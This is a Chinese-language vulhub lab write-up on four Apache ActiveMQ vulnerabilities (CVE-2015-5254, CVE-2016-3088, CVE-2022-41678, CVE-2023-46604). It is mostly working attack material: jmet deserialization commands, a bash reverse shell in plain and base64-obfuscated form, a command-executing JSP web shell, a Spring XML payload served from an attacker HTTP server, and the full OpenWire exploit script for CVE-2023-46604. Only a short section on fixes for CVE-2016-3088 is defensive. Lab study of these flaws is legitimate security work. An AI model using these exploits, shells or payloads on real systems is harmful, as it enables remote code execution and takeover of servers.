vulhub-activeMQ

activeMQ介绍

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

https://zhuanlan.zhihu.com/p/83264194#:~:text=ActiveMQ%E6%98%AF%E4%B8%80

CVE-2015-5254(反序列化)

漏洞成因

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

漏洞复现

运行漏洞环境:

docker compose up -d

环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。

.打开http://192.200.30.72:8081/admin,使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。

image-20241004210641690

这个服务用nmap也是能扫出来的

nmap -p- -sS -Pn 192.168.174.137

漏洞利用过程如下:

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面,读取消息,触发漏洞

使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。

image-20241004211516510

jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

执行:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
-Q

image-20241004212508569

这时,会给目标ActiveMQ添加一个event列,我们可以通过http://192.198.174.137:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:

image-20241004212625070

点击查看这条消息即可触发命令执行

image-20241004212550167

image-20241004212817387

登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建。

docker exec -it 容器id bash

image-20241004212948266

换成反弹shell的命令试试

#bash反弹命令
bash -i >& /dev/tcp/192.168.174.137/5555 0>&1
#base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMzcvNTU1NSAwPiYx
#base64解码
#bash64解码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMzcvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}

image-20241004214029836

image-20241004214050061

这个id还是要记一下的,不然队列多了,不知道点哪个

CVE-2016-3088(任意文件写入漏洞)

https://www.freebuf.com/vuls/274088.html

漏洞成因

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

该漏洞影响版本是ActiveMQ在5.14.0之前的版本(不包括5.14.0)

漏洞复现

启动环境

docker-compose up -d //192.168.174.137

访问服务端口http://192.168.174.137:8161/admin/

通过默认账密登陆后台admin:admin

image-20241106112514824

首先访问http://192.168.174.137:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

image-20241106112638222

然后上传webshell到fileserver:

image-20241106112736265

<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>

image-20241106112824773

移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中

Destination:file:///opt/activemq/webapps/api/1.jsp

image-20241106112920470

到网站上进行查看有没有

image-20241106112941355

需要登陆:

image-20241106113020336

image-20241106113203105

修复方案

1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。

2、通过移除 conf\jetty.xml 的以下配置来禁用 ActiveMQ Fileserver 功能

3、打补丁

http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt

4、电脑管家等修复漏洞工具

CVE-2022-41678(后台RCE)

漏洞成因

Apache ActiveMQ 在5.16.5, 5.17.3版本及以前,后台Jolokia存在一处任意文件写入导致的远程代码执行漏洞。

漏洞复现

执行如下命令启动一个Apache ActiveMQ 5.17.3服务器:

docker compose up -d

服务启动后,访问http://your-ip:8161/后输入账号密码adminadmin,即可成功登录后台。

首先,访问/api/jolokia/list这个API可以查看当前服务器里所有的MBeans:

抓包记得加上Origin: host字段的内容,否则会报错

image-20241106172439436

image-20241106172539453

这其中有两个可以被用来执行任意代码。

方法一

第一个方法是使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是由Log4j2提供的一个MBean。

攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置,进而将日志文件写入任意目录中。

使用poc脚本来复现完整的过程:

python poc.py -u admin -p admin http://192.168.174.137:8161

image-20241106173015848

image-20241106173049062

方法二

第二个可利用的Mbean是jdk.management.jfr.FlightRecorderMXBean

FlightRecorder是在OpenJDK 11中引入的特性,被用于记录Java虚拟机的运行事件。利用这个功能,攻击者可以将事件日志写入任意文件。

使用poc脚本来复现完整的过程(使用--exploit参数指定使用的方法):

python poc.py -u admin -p admin --exploit jfr http://192.168.174.137:8161

image-20241106173352857

image-20241106173417840

CVE-2023-46604(反序列化RCE)

漏洞成因

在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

https://xz.aliyun.com/t/12929?time__1311=GqGxuD9QKCuDlrzG77KR7DfxmqiK%3DmN3x

https://forum.butian.net/share/2566

漏洞复现

ActiveMQ运行后,默认监听如下两个端口:

默认端口 默认条件
8161 web 需配置才可远程访问
61616 tcp 远程访问

反序列化漏洞出现在61616端口中。

执行如下命令启动一个ActiveMQ 5.17.3版本服务器:

docker compose up -d

服务启动后,访问http://your-ip:8161检查服务是否运行成功。但实际上利用该漏洞,并不需要能够访问8161端口。

首先,启动一个HTTP反连服务器,其中包含我们的poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>touch</value>
<value>/tmp/activeMQ-RCE-success</value>
</list>
</constructor-arg>
</bean>
</beans>
python3 -m http.server 1234

https://blog.csdn.net/qq_44494578/article/details/122422596

然后,执行poc.py,传入的三个参数分别是目标服务器地址、端口,以及包含poc.xml的反连平台URL:

python3 poc.py target 61616 http://192.168.174.137 of http://172.20.10.3:1234/poc.xml

执行完成后,进入ActiveMQ容器:

docker exec cve-2023-46604-activemq-1 ls -l /tmp

可见,touch /tmp/activeMQ-RCE-success已经被成功执行:

image-20241106180320100

poc.py

import io
import socket
import sys


def main(ip, port, xml):
classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_obj.connect((ip, port))

with socket_obj:
out = socket_obj.makefile('wb')
# out = io.BytesIO() # 创建一个内存中的二进制流
out.write(int(32).to_bytes(4, 'big'))
out.write(bytes([31]))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(classname).to_bytes(2, 'big'))
out.write(classname.encode('utf-8'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(xml).to_bytes(2, 'big'))
out.write(xml.encode('utf-8'))
# print(list(out.getvalue()))
out.flush()
out.close()


if __name__ == "__main__":
if len(sys.argv) != 4:
print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
"http://192.168.0.101:8888/poc.xml")
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])